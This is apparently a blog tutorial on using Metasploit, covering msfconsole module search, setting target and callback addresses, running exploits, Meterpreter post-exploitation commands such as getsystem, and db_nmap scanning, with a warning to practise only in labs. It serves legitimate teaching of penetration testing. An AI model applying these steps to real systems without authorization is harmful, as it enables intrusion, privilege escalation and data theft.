Mobin Kabir · Network Engineer → Back to Blog
Metasploit Tutorial

Metasploit Tutorial: From Module Search to Meterpreter Sessions

4 September 2026 · 7 min read

Metasploit is an open-source framework that drives penetration testing through several coordinated components: exploit modules, payloads, scanning tools, and a vulnerability database. Beginners and professionals alike use the same single workflow.

Core framework structure

  • Exploit: code that takes advantage of a vulnerability
  • Payload: the action executed after a successful exploit (such as opening a shell)
  • Auxiliary: scanning, brute-force and utility modules
  • Encoder/Evasion: altering a payload to slip past antivirus (mostly seen in exams like OSCP)

All of these are available in Metasploit's native interface, msfconsole.

The initial workflow: basic steps

  1. Start: msfconsole
  2. Search for a module: search type:exploit name:wordpress
  3. Select a module: use exploit/multi/...
  4. Show options: show options
  5. Set the target: set RHOSTS 192.168.1.10
  6. Set payload and callback: set LHOST 192.168.1.20 and set LPORT 4444
  7. Run: exploit

If the connection is established, check the valid supported payloads in turn.

The Meterpreter payload: interactive control after the connection

Meterpreter is an interactive payload that provides advanced control once connected:

  • sysinfo and getuid to survey the environment
  • upload and download for file transfer
  • getsystem to attempt privilege escalation (on Windows)
  • post/... modules for post-exploitation

The key skill is knowing which module and payload fits each situation — that knowledge comes from practice, not from memorization.

db_nmap and integrated reporting

Metasploit integrates the entire process with its database:

db_nmap -sV 192.168.1.0/24

Then use the hosts, services and vulns commands to view the scan output in the database. Solid reconnaissance is a prerequisite for exploitation; see its write-up in Port Scanning with Nmap.

An important security warning

Never fire a payload at a real system without consent. Opening a shell on someone's personal machine is the first and worst mistake beginners make. Practice only on a virtual lab network:

  • Metasploitable for Linux exploitation
  • Lab platforms such as TryHackMe or HackTheBox

To start correctly and safely, first set up a Kali environment: Installing Kali Linux.

FAQ

What is the difference between an exploit and a payload?

An exploit leverages a vulnerability to gain entry; a payload is what runs after entry, such as a shell or Meterpreter.

Why do we set LHOST?

LHOST and LPORT are the address and port the payload uses to connect back to the attacker; they must be reachable from the target machine.

What is the best environment for Metasploit practice?

A virtual network with Metasploitable, plus lab platforms like TryHackMe and HackTheBox. Never use real systems without authorization.

Is Metasploit actually useful in professional penetration testing?

Yes — both for quickly validating vulnerabilities and in courses like OSCP and Red Team work, it is one of the core tools.